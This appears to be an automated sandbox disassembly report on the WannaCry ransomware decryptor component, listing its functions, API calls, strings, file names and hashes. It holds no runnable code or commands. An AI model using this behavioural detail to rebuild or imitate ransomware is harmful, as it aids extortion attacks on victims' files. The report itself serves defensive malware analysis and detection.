                                                                                                                          • Instruction Fuzzy Hash: B511A7B404D7C1CBD334DF14C255BEEBBE4BBA4714F40891EA5D947681EBB81188CA57
                                                                                                                          Function 0040C240 Relevance: 13.7, APIs: 9, Instructions: 195windowfileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3
                                                                                                                          • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
                                                                                                                          • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
                                                                                                                          • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
                                                                                                                          • fopen.MSVCRT ref: 0040C46B
                                                                                                                          • fwrite.MSVCRT ref: 0040C489
                                                                                                                          • fclose.MSVCRT ref: 0040C48F
                                                                                                                          • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#823fclosefopenfwrite
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1132507536-0
                                                                                                                          • Opcode ID: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                                                                                                          • Instruction ID: 95d53ca3448e84e776e95c4e63a8e9d5249152c92c36a986718404cc297984b8
                                                                                                                          • Opcode Fuzzy Hash: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                                                                                                          • Instruction Fuzzy Hash: F171F471204341EBD220DF51CC85FABB7E8FF88714F004B2EB6546B2D1CA78A909C79A
                                                                                                                          Function 00401140 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49windowtimethreadCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 00401145
                                                                                                                          • SendMessageA.USER32(?,00000404,00000001,00000000), ref: 00401160
                                                                                                                          • SendMessageA.USER32(?,00000401,00000000,00280000), ref: 00401175
                                                                                                                          • #537.MFC42(Connecting to server...), ref: 0040118D
                                                                                                                            • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                                                                                                            • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                                                                                                            • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                                                                                                          • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004011B3
                                                                                                                          • CreateThread.KERNEL32(00000000,00000000,004012D0,?,00000000,00000000), ref: 004011D1
                                                                                                                          Strings
                                                                                                                          • Connecting to server..., xrefs: 00401188
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#3092#4710#537#6199#800CreateThreadTimer
                                                                                                                          • String ID: Connecting to server...
                                                                                                                          • API String ID: 3305248171-1849848738
                                                                                                                          • Opcode ID: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                                                                                                          • Instruction ID: 074e0af6858d04fd3a88c2e6ba563778cf6a67133e9310fa302bc50ac74eac6c
                                                                                                                          • Opcode Fuzzy Hash: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                                                                                                          • Instruction Fuzzy Hash: 480175B0390700BBE2305B66CC46F8BB694AF84B50F10851EF349AA2D0CAF474018B99
                                                                                                                          Function 00402F10 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ?_Xran@std@@YAXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F6E
                                                                                                                          • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F76
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 00402FAD
                                                                                                                          • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 00402FBA
                                                                                                                          • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00402FC2
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402FF9
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 0040303A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2613176527-0
                                                                                                                          • Opcode ID: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                                                                                                          • Instruction ID: fd0731f71cda593906caa3e5dc22cd8926dd74a2c181b66db9bbc309a642df48
                                                                                                                          • Opcode Fuzzy Hash: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                                                                                                          • Instruction Fuzzy Hash: 9B41F431300B01CFC720DF19C984AAAFBB6FBC5711B50896EE45A87790DB39A841CB58
                                                                                                                          Function 00407F80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • fopen.MSVCRT ref: 00407FBD
                                                                                                                          • fread.MSVCRT ref: 00407FDD
                                                                                                                          • fclose.MSVCRT ref: 00407FE4
                                                                                                                            • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
                                                                                                                            • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
                                                                                                                            • Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE
                                                                                                                            • Part of subcall function 0040C4F0: strncpy.MSVCRT ref: 0040C628
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: strncpy$fclosefopenfread
                                                                                                                          • String ID: +++$00000000.res$s.wnry
                                                                                                                          • API String ID: 3363958884-869915597
                                                                                                                          • Opcode ID: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                                                                                                          • Instruction ID: e8fd78c0316e70a0a3c69cc1eb433b8a063ef73abc5183098f2ea38c2d595da4
                                                                                                                          • Opcode Fuzzy Hash: f68bea0f835de8c5134664bc8bdf0f2d83c21063f60135f2f8b7247afbe90d08
                                                                                                                          • Instruction Fuzzy Hash: D3313732600604ABD7249620DC05BFF7399EBC1324F404B3EF965B32C1EBBC6A098696
                                                                                                                          Function 00401220 Relevance: 10.6, APIs: 7, Instructions: 53windowtimeCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00000402,00000028,00000000), ref: 00401253
                                                                                                                          • KillTimer.USER32(?,000003E9), ref: 0040125E
                                                                                                                          • #4853.MFC42 ref: 00401266
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 0040127B
                                                                                                                          • SendMessageA.USER32(?,00000405,00000000,00000000), ref: 00401295
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 004012B1
                                                                                                                          • #2379.MFC42 ref: 004012C4
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#2379#4853KillTimer
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 178170520-0
                                                                                                                          • Opcode ID: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                                                                                                          • Instruction ID: aacaf11b8525f3fa08346ebc997e4185e7a595c9bc7dc659aa73715d177cc548
                                                                                                                          • Opcode Fuzzy Hash: b77cb0015e8fab117b1368574dbf11fadefe02a27d4ed6d688f80b57d7754396
                                                                                                                          • Instruction Fuzzy Hash: FD114475340B00ABD6709A74CD41F6BB3D4BB94B10F20892DF395FB2D0DAB4B8068B58
                                                                                                                          Function 00403860 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43windowthreadCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040387A
                                                                                                                          • #1200.MFC42(Please select a host to decrypt.,00000000,00000000), ref: 0040388A
                                                                                                                          • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 0040389F
                                                                                                                          • SendMessageA.USER32(?,00001009,00000000,00000000), ref: 004038B5
                                                                                                                          • CreateThread.KERNEL32(00000000,00000000,004038E0,?,00000000,00000000), ref: 004038C5
                                                                                                                          Strings
                                                                                                                          • Please select a host to decrypt., xrefs: 00403885
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#1200CreateThread
                                                                                                                          • String ID: Please select a host to decrypt.
                                                                                                                          • API String ID: 3616405048-3459725315
                                                                                                                          • Opcode ID: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                                                                                                          • Instruction ID: 64f0ddf58892c59834d5d68b98c76a24f926c69eeefbcfa1eb30c508a9047c0d
                                                                                                                          • Opcode Fuzzy Hash: a539097f114ba3ef4a6e852f645cea6eff0ecd5b8c463f491449578d3e786054
                                                                                                                          • Instruction Fuzzy Hash: C4F09032380700BAF2306775AC07FEB2698ABC4F21F25462AF718BA2C0C5F478018668
                                                                                                                          Function 004044C0 Relevance: 10.5, APIs: 7, Instructions: 38windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • GetParent.USER32(?), ref: 004044D2
                                                                                                                          • #2864.MFC42(00000000), ref: 004044D9
                                                                                                                          • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                                                                                                          • #2860.MFC42(00000000), ref: 004044EF
                                                                                                                          • GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                                                                                                          • CreateFontIndirectA.GDI32(?), ref: 00404513
                                                                                                                          • #1641.MFC42(00000000), ref: 0040451D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1641#2860#2864CreateFontIndirectMessageObjectParentSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2724197214-0
                                                                                                                          • Opcode ID: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                                                                                                          • Instruction ID: 8763edc8e5a6adeaffa7a86524b671660dad1b09e215c7e2bee76a425fbc91e9
                                                                                                                          • Opcode Fuzzy Hash: 0c94b8f5f5be19309df2c112ac17aff14f3c349f99fc29199b1274657e014969
                                                                                                                          • Instruction Fuzzy Hash: 5AF0A4B1100340AFD720EB74DE49FDB7BA86F94304F04891DB649DB1A1DAB4E944C769
                                                                                                                          Function 0040C060 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
                                                                                                                          • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
                                                                                                                          • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
                                                                                                                          • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
                                                                                                                          • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#823
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3019263841-0
                                                                                                                          • Opcode ID: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                                                                                                          • Instruction ID: af0acaa543f5011fd428c8da5e8f88cfa40878c60dbd15804793c53c70a14286
                                                                                                                          • Opcode Fuzzy Hash: 99a77933eb25dcc6b16ac75c60e27f78d541e8c4006a5acf1c92d05b33b36b85
                                                                                                                          • Instruction Fuzzy Hash: 4A41B570644341EBD220DF65CC85F5BB7A8BF84724F104B2DF5247B2D1C7B4A9098BAA
                                                                                                                          Function 00409C20 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #3797.MFC42 ref: 00409C27
                                                                                                                          • #6734.MFC42(?,?), ref: 00409C4E
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00409C68
                                                                                                                          • #4284.MFC42(00004000,00000000,00000000,?,?), ref: 00409CCD
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #3797#4284#6734MessageSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1776784669-0
                                                                                                                          • Opcode ID: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                                                                                                          • Instruction ID: 0f06e6a1ab2a1e1858972f557de936d8f63d8015e647da1bd90f7003a846fc2f
                                                                                                                          • Opcode Fuzzy Hash: ed9bba126cbe7da2a4edc66507331a18c8d54c82d452b791da5e82362638f036
                                                                                                                          • Instruction Fuzzy Hash: 2F31B0727447019BE724DE28DD81B6B73E1ABC8700F10493EFA86A73C1DA78EC468759
                                                                                                                          Function 004127E0 Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #823.MFC42(00000244,?,00000428,?,?,0041438B,000000FF,00412933,?,00000000,00000002,?,0040B6CF,?,?), ref: 004127FD
                                                                                                                          • #823.MFC42(?,?,?), ref: 00412849
                                                                                                                          • #825.MFC42(?), ref: 004128B5
                                                                                                                          • #825.MFC42(?), ref: 004128CE
                                                                                                                          • #825.MFC42(00000000), ref: 004128DD
                                                                                                                          • #823.MFC42(00000008), ref: 004128FA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #823#825
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 89657779-0
                                                                                                                          • Opcode ID: a8225a914fe684002f5ebb33c6b5a83bf5030d8ce9238fcdcecfe8f5a0f25a9a
                                                                                                                          • Instruction ID: dc1b5eec0fc78afcb49772100b5c76d6e8760601cde25cb5382a27e7a1041640
                                                                                                                          • Opcode Fuzzy Hash: a8225a914fe684002f5ebb33c6b5a83bf5030d8ce9238fcdcecfe8f5a0f25a9a
                                                                                                                          • Instruction Fuzzy Hash: 8631A5B16006008BDB149F2E8D8169BB6D5FBC4720F18473EF929CB3C1EBB99951C755
                                                                                                                          Function 0040B780 Relevance: 9.1, APIs: 6, Instructions: 68filenetworkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000428), ref: 0040B793
                                                                                                                          • GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                                                                                                          • DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                                                                                                          • URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040B815
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040B82C
                                                                                                                            • Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000000,00000428), ref: 0040B6B4
                                                                                                                            • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Delete$CreateDirectory$CacheDownloadEntryNameTemp
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 361195595-0
                                                                                                                          • Opcode ID: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                                                                                                          • Instruction ID: f6bba9489874f0a6e7d9c3b0bbe4d647d3eb1ae806ee8fe5932772f512dcd3e1
                                                                                                                          • Opcode Fuzzy Hash: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                                                                                                          • Instruction Fuzzy Hash: 24112B76100300BBE7209B60DC85FEB379CEBC4321F00C82DF659921D1DB79550987EA
                                                                                                                          Function 00409A40 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • OffsetRect.USER32(?,?,?), ref: 00409A9B
                                                                                                                          • CreateRectRgn.GDI32(?,?,?,?), ref: 00409AB5
                                                                                                                          • #1641.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220), ref: 00409AC0
                                                                                                                          • #5781.MFC42(0041679C,00000000), ref: 00409ACC
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409AEB
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409B04
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414Rect$#1641#5781CreateOffset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2675356817-0
                                                                                                                          • Opcode ID: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                                                                                                          • Instruction ID: 08eaaa51a6c0e03944d0349f6c05153d0be232de021c7e29130ffbf32961e4dd
                                                                                                                          • Opcode Fuzzy Hash: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                                                                                                          • Instruction Fuzzy Hash: 7621E9B5204701AFD304DF14C995FABB7E8EB88B04F108A1DF58697291CB78EC45CB96
                                                                                                                          Function 004034A0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
